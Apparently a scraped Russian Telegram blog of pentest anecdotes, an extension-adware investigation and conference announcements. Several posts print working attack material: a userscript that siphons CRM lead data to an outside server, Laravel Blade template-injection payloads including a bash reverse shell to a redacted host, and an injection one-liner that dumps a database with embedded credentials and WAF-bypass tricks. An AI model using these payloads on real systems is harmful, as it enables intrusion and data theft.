Была ситуация, почти #поИБ #memo и связанная со скрапингом данных :) Все как мы любим "надо вчера" и надо было вытащить из amocrm всех лидов.
Тут как вы понимаете есть несколько стульев, а именно
- взять и работать по API (не вариант потому то у этого аккаунта нет доступа к API)
- поднимать всякие headless решения и скрапить (не мне не нравится ибо времени не хватает)
- вспомнить времена Ingress и заюзать Tampermonkey
Ну вот и выбрал я Tampermonkey, а значит начнем говнокодить на JS :)
1. Смотрим какие данные и на какой странице есть, как их получает фронтенд. С этим нам поможет
2. У Tampermonkey есть прикольная функциональность — отлавливать прямо в браузере то, что приходит от бэка и даже и вешает хук на это (да, да, прокся).
- Тут сначала нужно найти эндпоинт по которому гоняются данные и ловим этот запрос на странице
- Забираем из этого запроса
3. Отправляем забранное через
4. А
Как результат -- мы красавчики и стащили данные из запроса, который пришел, потом его передали как есть на сторонний сервак и все :)
Тут как вы понимаете есть несколько стульев, а именно
- взять и работать по API (не вариант потому то у этого аккаунта нет доступа к API)
- поднимать всякие headless решения и скрапить (не мне не нравится ибо времени не хватает)
- вспомнить времена Ingress и заюзать Tampermonkey
Ну вот и выбрал я Tampermonkey, а значит начнем говнокодить на JS :)
1. Смотрим какие данные и на какой странице есть, как их получает фронтенд. С этим нам поможет
@match
в заголовках скрипта, который позволяет с регулярками понять на какой странице(ах) отрабатывать скрипту 2. У Tampermonkey есть прикольная функциональность — отлавливать прямо в браузере то, что приходит от бэка и даже и вешает хук на это (да, да, прокся).
- Тут сначала нужно найти эндпоинт по которому гоняются данные и ловим этот запрос на странице
this.responseURL.indexOf(
в удобном JSON от бэка- Забираем из этого запроса
this.responseText
3. Отправляем забранное через
GM.xmlHttpRequest
, который как XMLHttpRequest, но только от Tampermonkey и игнорирует same origin policy4. А
onreadystatechange
после отправки запроса нам кликаем по кнопке "Дальше"Как результат -- мы красавчики и стащили данные из запроса, который пришел, потом его передали как есть на сторонний сервак и все :)
// ==UserScript==
// @name AmoCRM - lead downloader
// @namespace http://tampermonkey.net/
// @version 0.1
// @description blah blah blah
// @author deadroot
// @match https://REDACTED.amocrm.ru/leads/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=amocrm.ru
// @grant GM.xmlHttpRequest
// ==/UserScript==
(function(open) {
XMLHttpRequest.prototype.open = function() {
this.addEventListener("readystatechange", function() {
if (this.readyState === this.DONE) {
if (this.status === 200) {
if (this.responseURL.indexOf("ajax/leads/list/?json=1") > -1) {
console.log(this.responseURL);
GM.xmlHttpRequest({
method: "POST",
url: "https://REDACTED/data-logger",
headers: { "Content-type" : "application/json;charset=UTF-8" },
data: this.responseText,
onload: function(response) { console.log('loaded xD') },
onreadystatechange: function(response) {
if (this.readyState == 4 && this.status == 200) {
document.querySelector('#list_pagination > div.pagination-buttons > div.list-top-nav__icon-button.js-pagination-next.list-top-nav__icon-button_pagination').click();
}
},
});
}
}
}
}, false);
open.apply(this, arguments);
};
})(XMLHttpRequest.prototype.open);
👍2
Кстати, а это про #поИб прямо и про самых заядлых нарушителей политик и вредителей безопасности ИБ в компании -- маркетологов! Они хотят и внешние JS притащить, и сервисы какие-то прокинуть и лендосостроителями быть на внещних сервисах да так, чтобы потом и DNS забыть удалить и довести до subdomain takeover, но сейчас не про это.
В рамках одно пентеста был просто неистовый ор и
1. Регистрация в админке, которая реально работает (да да да)
2. Конечно, там не всё доступно, функциональность урезана, но частично оказалась доступна функциональность редактирования писем с IDOR (дооо, это как оказалось потом -- это было очень нужно маркетологам было чтобы они быстро меняли тексты для нужд бизнеса). И вот когда я увидел там конструкцию
3. Да, я взял первый попавшийся шаблон, а это было восстановление пароля, вставил туда
Что дальше можно сделать? Да все что угодно, да хоть ревесшел открывать через
Маркетологи с их хотелками, которые ходят мимо ИБ -- зло, а разработчики что дают шаблонизаторы без секьбрити политик и ограничений -- тоже зло :)
В рамках одно пентеста был просто неистовый ор и
1. Регистрация в админке, которая реально работает (да да да)
2. Конечно, там не всё доступно, функциональность урезана, но частично оказалась доступна функциональность редактирования писем с IDOR (дооо, это как оказалось потом -- это было очень нужно маркетологам было чтобы они быстро меняли тексты для нужд бизнеса). И вот когда я увидел там конструкцию
{{smtng}}
, да и зная что там #laravel стало понятно что перед лицом blade шаблонизатор в котором есть RCE через @php /*code*/ @endphp
3. Да, я взял первый попавшийся шаблон, а это было восстановление пароля, вставил туда
<div style="display:none">@php phpinfo(); @endphp</div>
и получил себе phpinfo в почту. Но так как это аффектило всех юзеров -- я сделал это невидимым через <div style="display:none">
.Что дальше можно сделать? Да все что угодно, да хоть ревесшел открывать через
<div style="display:none">@php exec("/bin/bash -c 'bash -i >& /dev/tcp/REDACTED/8433 0>&1'"); @endphp</div>
.Маркетологи с их хотелками, которые ходят мимо ИБ -- зло, а разработчики что дают шаблонизаторы без секьбрити политик и ограничений -- тоже зло :)
🤔1
Бывает такое что надо подирбастить, и проверить нужно ну самое-самое популярное что-то типа ТОП-10 (
Покопавшись на просторах интернета я не нашел ничего простого для браузера и наваял свое поделие https://github.com/atastycookie/DirBuster-for-Chrome с воможностью расширить своим списком и настройками (не все настройки работает, но когда-нить поправлю) #поИБ
Если есть пожелания или хотелки какие — пишите в комменты тут, или в ишью на гитхабе. А если знаете аналог, то тем более скиньте ;)
/.git
, /.svn
, /dump.sql
, /.env
, /admin.php
и подобное). Запускать gobuster или dirsearch для этого и оверинжинерно, да и долго :) Покопавшись на просторах интернета я не нашел ничего простого для браузера и наваял свое поделие https://github.com/atastycookie/DirBuster-for-Chrome с воможностью расширить своим списком и настройками (не все настройки работает, но когда-нить поправлю) #поИБ
Если есть пожелания или хотелки какие — пишите в комменты тут, или в ишью на гитхабе. А если знаете аналог, то тем более скиньте ;)
❤2🤔1
Собираюсь вот на offzone.moscow (кстати, пишите -- увидимся) и напала ностальгия. Да такая, что аж решил распаковать коробку после переезда (да, одна из причин что не писал долго) и достать все бейджи с прошлых оффзонов. Красивое :)
Ах, да, технические посты скоро появятся ;)
👍3🔥3
Но ещё больше ностальгии навевает мой старый ноут со стикерами. Он вообще такие адские истории с путешествиями пережил 🥷
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4⚡1👍1
Разбавлю неловкое молчание небольшой историей как на работе у коллеги в браузере стали появляться странные редиректы, и как дошли до истины #будничное #поИБ. Итак, будет пошаговая история :)
1. За ноутом коллеги попробовал воспроизвести проблему. Один раз получилось увидеть своими глазами, но отловить в девтулзах не успел :( Да и не было замечено какой-то повторяемости
2. Забэкапил все экстеншны хрома https://stackoverflow.com/a/14544700 потому что я был уверен что это именно они, ибо там Mac и всякое левое туда он не ставил (не шиндовс же)
3. Начал анализировать все JS файлы уже у себя на компе, и искал разные
4. Нашел несколько обфусцированных JS файлов и полез их копать. Я воспользовался такой вот тулзой https://lelinhtinh.github.io/de4js/ и файл за файлом приводил плагины в читаемый вид
5. Нашел файл модуля
- Делается запрос к адмитаду и туда передается URL текущей страницы (для таргерирования рекламы (наш вариант вроде), ну или целевых атак — хз какая задача может решаться)))))
- Делается парочка редиректов по разным доменам и ссылкам (не просто так там fetch с
- И финальная ссылка уже отдается в
6. И один из редиректов как раз имеет такую ссылку, как у коллеги была. Расследование завершено :)
В рассмотренном случае был плагин WhatFont
1. За ноутом коллеги попробовал воспроизвести проблему. Один раз получилось увидеть своими глазами, но отловить в девтулзах не успел :( Да и не было замечено какой-то повторяемости
2. Забэкапил все экстеншны хрома https://stackoverflow.com/a/14544700 потому что я был уверен что это именно они, ибо там Mac и всякое левое туда он не ставил (не шиндовс же)
3. Начал анализировать все JS файлы уже у себя на компе, и искал разные
eval(
, btoa(
, и прочее вызовы типа fetch(
. Что может являться признаком попыток спрятать что в коде, или малвари, или адвари — хотя иногда так зарабатывают деньги разработчики плагинов.Тут важно помнить — бесплатный плагин, бесплатен для вас потому что вы платите своим временем, ресурсами, данными или просмотрами рекламы))) Как и сыр в мышеловке, который достается в лучшем случае второй мышке. Да, тут и про бесплатные VPN/Proxy задумайтесь.
4. Нашел несколько обфусцированных JS файлов и полез их копать. Я воспользовался такой вот тулзой https://lelinhtinh.github.io/de4js/ и файл за файлом приводил плагины в читаемый вид
5. Нашел файл модуля
background.js
, в котором был кусок кода (см прикрепленную картинку). Там - Делается запрос к адмитаду и туда передается URL текущей страницы (для таргерирования рекламы (наш вариант вроде), ну или целевых атак — хз какая задача может решаться)))))
- Делается парочка редиректов по разным доменам и ссылкам (не просто так там fetch с
redirect: "follow"
)- И финальная ссылка уже отдается в
chrome.tabs.update
, что обновляет страницу силами экстеншна на полученную в ответе ссылку.6. И один из редиректов как раз имеет такую ссылку, как у коллеги была. Расследование завершено :)
В рассмотренном случае был плагин WhatFont
acpcapnaopbhbelhmbbmppghilclpkep
сделан с таким поведением для заработка на рекламе, а мог бы и донаты собирать или что-то еще, хз, но он не дал такой альтернативы. А еще у этого плагина в манифесте опасные достаточно права на работу на всех сайтах "permissions": [ "*://*/*", "\u003Call_urls>", "storage", "unlimitedStorage", "activeTab" ],
. Так что хорошей практикой является проверка плагинов (а то хз что вы установили, или до чего обновление прилетело — были случаи и взлома разработчиков).1🔥9👍3
Кстати, забыл сказать — я буду читать доклад про WWW-анархию на underconf.ru в это воскресение, 29 сентября, в Мск. Так что будете рядом — заглядывайте :)
А так, да, снова буду ломать веб настолько сильно, насколько это возможно. Покажу почему и как наши данные утекают, и что с этим делать, ну и как на это реагируют админы сервисов и разработчики.
В целом, будет пошаговый похек с описанием каждого этапа, с осмыслением того, что видим, выдвижением гипотез и множественными lulz`ами над кодом xD
А так, да, снова буду ломать веб настолько сильно, насколько это возможно. Покажу почему и как наши данные утекают, и что с этим делать, ну и как на это реагируют админы сервисов и разработчики.
В целом, будет пошаговый похек с описанием каждого этапа, с осмыслением того, что видим, выдвижением гипотез и множественными lulz`ами над кодом xD
🔥7⚡3👍1
Опача! Мы в Ульяновске решили собраться и провести встречу 0x0A в рамках DC78422 9 ноября 2024 (в субботу), где послушаем разные доклады (программа еще формируется — успейте подать свой доклад). Приходите-приезжайте в Ульяновск! Ссылка на встречу: https://dc78422.ru/meetup/0x0A/
У меня будет полтора доклада:
- Как мы дошли до жизни такой в контексте DevSecOps'а и пайплайнинга, и, почему если базово проверять свои проекты, даже на дефолтных конфигах утилит, — то вы получите защищенность от 70% атак. Да и вообще, это полезная штука :)
- Доклад про "умные" технологии в наших квартирах и домах, доступ к которым можно получить проще, чем вы думаете. У нас будет готовый стенд, который мы будем тестировать с разных сторон — как информационно, так и физически, но главное — все будет про безопасность.
P.S. После митапа будет афтепати с нашим роботом-наливатором Бендером и небольшим алко-CTF ;)
У меня будет полтора доклада:
- Как мы дошли до жизни такой в контексте DevSecOps'а и пайплайнинга, и, почему если базово проверять свои проекты, даже на дефолтных конфигах утилит, — то вы получите защищенность от 70% атак. Да и вообще, это полезная штука :)
- Доклад про "умные" технологии в наших квартирах и домах, доступ к которым можно получить проще, чем вы думаете. У нас будет готовый стенд, который мы будем тестировать с разных сторон — как информационно, так и физически, но главное — все будет про безопасность.
P.S. После митапа будет афтепати с нашим роботом-наливатором Бендером и небольшим алко-CTF ;)
DC78422 | DEFCON Ульяновск
Встреча 0x0A сообщества DC78422 (Ульяновск)
Большая встреча с крутыми и интересными,а главное актуальными докладами по ИБ в Ульяновске на базе ИБ сообщества DC78422
🔥10👍4👎1🤮1💩1
LD_ANARCHY
Кстати, забыл сказать — я буду читать доклад про WWW-анархию на underconf.ru в это воскресение, 29 сентября, в Мск. Так что будете рядом — заглядывайте :) А так, да, снова буду ломать веб настолько сильно, насколько это возможно. Покажу почему и как наши…
Хобана, тут подвезли запись моего доклада
Знаете, конфа огонь, спикеры ТОП, орги вообще кайфовые! Всем рекомендую посмотреть и другие доклады https://plvideo.ru/@underconf и подписаться на ребят — они реально сделали оч круто @und3rc0nf
Веб-Анархия
с UnderConf https://plvideo.ru/watch?v=PF7LoioDHlc8 Знаете, конфа огонь, спикеры ТОП, орги вообще кайфовые! Всем рекомендую посмотреть и другие доклады https://plvideo.ru/@underconf и подписаться на ребят — они реально сделали оч круто @und3rc0nf
Платформа
Веб-Анархия от @deadroot - доклад на UnderConf 2024
Доклад "Веб-Анархия" от Романа @deadroot на UnderConf 2024
---
Наш канал в Telegram @und3rc0nf
Обсудить видео в чате в Telegram https://t.me/und3rc0nf_chat
---
Наш канал в Telegram @und3rc0nf
Обсудить видео в чате в Telegram https://t.me/und3rc0nf_chat
🔥20👍1
Котаны и котанессы, я никуда не пропал, я здесь и жив! Просто за последние полгода у меня вообще не было свободного времени %) Что же произошло? Ну, я бы сказал, что жизнь сильно изменилась:
- Я стал папой! Да, у меня родился сын, и, как вы понимаете, это отнимает много времени
- Кроме того, я также сменил работу, что тоже потребовало кучу вовлечённости и времени
Но теперь я понял как жить эту жизнь дальше, и свободное время ± появилось))) Теперь снова буду писать и рассказывать крутые и забавные штуки, которых за это время накопилось немало :) Так что до очень скорых встреч!
- Я стал папой! Да, у меня родился сын, и, как вы понимаете, это отнимает много времени
- Кроме того, я также сменил работу, что тоже потребовало кучу вовлечённости и времени
Но теперь я понял как жить эту жизнь дальше, и свободное время ± появилось))) Теперь снова буду писать и рассказывать крутые и забавные штуки, которых за это время накопилось немало :) Так что до очень скорых встреч!
🔥29❤8😎2👍1🤮1💩1🤡1😨1
Йоу! В эту субботу, 26 апреля, я буду в Нижнем Новгороде на конференции DEFCON Нижний Новгород -- читаю доклад :) Снова поговорим про "Анархию в вебе" -- будет весело и познавательно XD
Если будете рядом -- заглядывайте! https://defcon-nn.ru/
Если будете рядом -- заглядывайте! https://defcon-nn.ru/
👍16❤8🔥7🤮1💩1🤡1
Пока делал один ресерч был прикольный случай -- меня SSTI в #laravel , но я в контейнере и файлы создавать не могу, суматохи гора и данные надо получить стопудово, а у таргета еще и WAF для бедных (сами, наверное на регулярках напилили).
И казалось -- что может пойти не так, если чуваки затащат в контейнер mysql?🤣
P.S. Кроме
И казалось -- что может пойти не так, если чуваки затащат в контейнер mysql?
{{pasSthru("mysql\x20-uprod\x20-pP4ss\x20-h127.0.0.1\x20-P3311\x20prod\x20-e\x20'select\x20*\x20from\x20logs'")}}
P.S. Кроме
/x20
для байпаса пробелов еще использовал $IFS
рядом 🙂Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🌚2🔥1
Подал заявочку на underconf.ru и начал готовить доклад 🏴☠️
Так что рекомендую запланировать в своем календаре на 28 сентября эту конфу с топовыми докладами, крутой зоной воркшопов и офигенной атмосферой!
P.S. А пока орги готовят программу и билеты -- посмотрите как это было в прошлом году https://plvideo.ru/@underconf
Так что рекомендую запланировать в своем календаре на 28 сентября эту конфу с топовыми докладами, крутой зоной воркшопов и офигенной атмосферой!
P.S. А пока орги готовят программу и билеты -- посмотрите как это было в прошлом году https://plvideo.ru/@underconf
🔥14👍3👾2
Случилось так, что я был не компа, а надо было быстро собрать быстро инфу по целевой системе :/ Конечно выкрутился с гуглом и шоданом, но родилась идея тупого бота в телегу, который просто предподготавливает ссылки на всякие сервисы. Итак, держите @web_osint_robot
Если вкратце -- то накидал быстро на #python скрипт, который продеплоил в Cloud Functions яндексового облака чтобы не держать сервачину или не поднимать сервис под это дело :)
Если есть предложения по каким ещё сервисам -- кидайте в комменты
- Сам бот еще раз @web_osint_robot
- Сорцы https://gist.github.com/atastycookie/6944faba482b7333b56fc73d0e28f579 (если поднимать будете у себя -- не забудьте включть "Публичная функция" и в телеге настроить webHook
Если вкратце -- то накидал быстро на #python скрипт, который продеплоил в Cloud Functions яндексового облака чтобы не держать сервачину или не поднимать сервис под это дело :)
Если есть предложения по каким ещё сервисам -- кидайте в комменты
- Сам бот еще раз @web_osint_robot
- Сорцы https://gist.github.com/atastycookie/6944faba482b7333b56fc73d0e28f579 (если поднимать будете у себя -- не забудьте включть "Публичная функция" и в телеге настроить webHook
curl -F "url=https://functions.yandexcloud.net/hehehehhehe" https://api.telegram.org/botTELEGRAM_BOT_TOKEN/setWebhook
)🔥9😁3👍1